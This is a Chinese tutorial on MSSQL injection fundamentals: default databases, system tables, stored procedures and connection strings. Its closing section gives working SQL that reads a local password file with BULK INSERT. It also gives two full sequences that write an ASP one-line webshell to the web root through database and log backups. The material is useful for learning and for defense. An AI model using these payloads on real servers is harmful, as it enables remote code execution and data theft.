天天看點

MSSQL注入庫的介紹Mssql簡介Mssql 服務、端口、字尾預設庫的介紹字段的介紹資料庫部分代碼語句分析資料庫的讀寫檔案

本章目錄:

  • Mssql簡介
  • Mssql 服務、端口、字尾
  • 預設庫的介紹
  • 字段的介紹
  • 資料庫部分代碼語句分析
    • 調用資料庫代碼
    • 建立資料庫
  • 資料庫的讀寫檔案

Mssql簡介

  • Microsoft SQL Sever 分為很多個版本,版本的不斷的更新安全性也越來越高,對我們滲透過程中最喜歡的版本應該就是2008以前,在2008及其以後的版本資料庫的權限已經不再是system。
  • 為了迎合新的版本我以後文章的實驗都在2008版本下面進行,同時也介紹以前可以利用的方法,相對于MySQL這個mssql顯得重了許多,他衆多的功能也給我們注入過程帶來了便利, 是以一般資料庫為mssql支援多語句我們就考慮是不是應該直接拿下webshell。
  • 對于mssql的一個注入點我們往往最關心的這個注入點的權限問題,是sa、db_owner還是public;其次是這個注點是否顯錯,注釋語句是否可用,例如sql server中注釋符“–”;還有就是注入點是什麼類型的,是字元型注入,還是數字型注入。

Mssql 服務、端口、字尾

安裝完後重新開機服務,使其生效,服務指令: services.msc

cmd指令,檢視mssql服務程序端口:netstat -ano

TCP  0.0.0.0:1433   0.0.0.0:0              LISTENING
           

1433:這是一個很重要的端口,mssql這個資料庫是以管理者身份安裝在系統服務上的,是以說他有一個管理者賬号叫:sa,他的權限相當于我們的系統機權限的,要是這個伺服器安裝了1433,一定要給sa的賬号設定一個強悍點的密碼,千萬不要設定弱密碼,抓雞也是抓1433的。

資料庫檔案字尾:cracer.mdf

資料庫日志檔案字尾:cracer_log.ldf

這兩個檔案很重要,要注意字尾,copy的話一定要将這兩個檔案一起copy,停止的話要先分離。

預設庫的介紹

  • master //用于記錄所有SQL Server系統級别的資訊,這些資訊用于控制使用者資料庫和資料操作。
  • model //SQL Server為使用者資料庫提供的樣闆,新的使用者資料庫都以model資料庫為基礎
  • msdb //由 Enterprise Manager和Agent使用,記錄着任務計劃資訊、事件處理資訊、資料備份及恢複資訊、警告及異常資訊。
  • tempdb //它為臨時表和其他臨時工作提供了一個存儲區。

這裡我們經常要打交道的庫也就是master,他儲存了我們的所有資料庫名等等,還有很多儲存過程,所謂儲存過程你可以把他了解成一個函數調用的過程。

儲存過程是一個可程式設計的函數,它在資料庫中建立并儲存。

它可以有SQL語句和一些特殊的控制結構組成。

當希望在不同的應用程式或平台上執行相同的函數,或者封裝特定功能時,存儲過程是非常有用的。

資料庫中的存儲過程可以看做是對程式設計中面向對象方法的模拟。它允許控制資料的通路方式。

MSSQL注入庫的介紹Mssql簡介Mssql 服務、端口、字尾預設庫的介紹字段的介紹資料庫部分代碼語句分析資料庫的讀寫檔案

我們以master庫為例可以看到上面幾個東西,其中視圖表master.dbo.sysdatabases儲存所有資料庫名,其他資料庫的視圖則儲存他本庫的表名與列名。

每一個庫的試圖表都有syscolumns存儲着所有的字段,可程式設計性儲存着我們的函數。

基本資訊:
@@version 				// 資料庫版本
user 					//擷取目前資料庫使用者名
db_name() 				// 目前資料庫名 其中db_name(N)可以來周遊其他資料庫
;select user 			//查詢是否支援多語句
host_name() 			//服務端主機名

           

mssql的儲存過程是我們利用的重點,他天然支援多語句,也為我們注入提供了便利,我們可以通過檢視可程式設計性裡面的函數來查找他的功能,發現一些新的東西

字段的介紹

簡介:說明資料庫sysObjects表中xtype字段值的含義。

sysObjects表它存放該資料庫内建立的所有對象,如限制、預設值、日志、規則、存儲過程等,每個對象在表中占一行。

select top 1 name,xtype from sysobjects;

name xtype sysrscols S

xtype可以是下列對象類型中的一種:

C = CHECK 限制

D = 預設值或 DEFAULT 限制

F = FOREIGN KEY 限制

L = 日志

FN = 标量函數

IF = 内嵌表函數

P = 存儲過程

PK = PRIMARY KEY 限制(類型是 K)

RF = 複制篩選存儲過程

S = 系統表

TF = 表函數

TR = 觸發器

U = 使用者表

UQ = UNIQUE 限制(類型是 K)

V = 視圖

X = 擴充存儲過程

當xtype=‘U’ and status>0代表是使用者建立的表,對象名就是表名,對象ID就是表的ID值。

用: select * from misa.dbo.sysobjects where xtype=‘U’ and status>0 就可以列出庫misa中所有的使用者建立的表名。

SELECT * FROM SYSOBJECTS WHERE PARENT_OBJ = OBJECT_ID( ‘CS’) AND XTYPE=‘TR’

列出表cs的所有屬性,上面是trigger!

資料庫部分代碼語句分析

調用資料庫代碼

<%
 set conn =server.createobject("adodb.connection")
 conn.open  "provider=sqloledb;source=local;uid=sa;pwd=******;database=database-name"
%>
           

分析:

其中,provider後面的不用管,照寫;source後面的可以是ip位址(有可能是外網位址,用sa的話可以允許登入外網位址),這裡我用的是本地的;sa是内置的使用者,它的密碼是你在安裝的時候設定的;database後面是你要連接配接的資料庫的名稱,例:mydatabase(不需擴充名)。

這條語句是找資料庫的密碼的,在網站找資料庫的連接配接資訊的時候,這個代碼一般在資料庫連結檔案上,連結檔案如:

asp腳本網站 的:conn.asp 或者在Dbconfig.asp這種帶db的或者帶config的腳本檔案上。

aspx腳本的話有可能在:web.config,這種腳本檔案一般會記錄資料庫的連結,管理者賬号,和明文密碼的。

建立資料庫

use asp\_net;

create table admin

(

id int primary key , username varchar(50) null, password varchar(50) null

);

insert into admin(id,username,password) values(1,'admin','admin');
           

其查詢方式與mysql的文法大同小異。

資料庫的讀寫檔案

讀寫前提:

1. 需要 SA

2. BULK INSERT 權限.

  • BULK INSERT檔案讀取:
create table test(
	context ntext
);		建立一個臨時表test

///将本地檔案pass寫test入表中
BULK INSERT test FROM 'c:/pass.txt'
WITH (
   DATAFILETYPE = 'char',
   KEEPNULLS
);		

select * from test;

drop table test;

           
  • 資料庫備份
create table [bin_cmd]([cmd] [image]);

declare @a sysname,@s nvarchar(4000)select @a=db_name(),@s=0x62696E backup database @a to [email protected];

insert into [bin_cmd](cmd)values('<%execute/**/(request(chr(35)))%>');

declare @b sysname,@t nvarchar(4000)select @b=db_name(),@t='E:\bin.asp' backup database @b to [email protected] WITH DIFFERENTIAL,FORMAT;drop table [bin_cmd];
           
  • 日志備份
create table [bin_cmd]([cmd] [image]);

declare @a sysname,@s nvarchar(4000)select @a=db_name(),@s=0x62696E backup log @a to [email protected];

insert into [bin_cmd](cmd)values('<%execute/**/(request(chr(35)))%>');

declare @b sysname,@t nvarchar(4000)select @b=db_name(),@t='e:\1.asp' backup log @b to [email protected] with init,no_truncate;drop table [bin_cmd];
           

參考連結:

https://blog.csdn.net/yatere/article/details/6418867

https://blog.csdn.net/jackmacro/article/details/6405871

繼續閱讀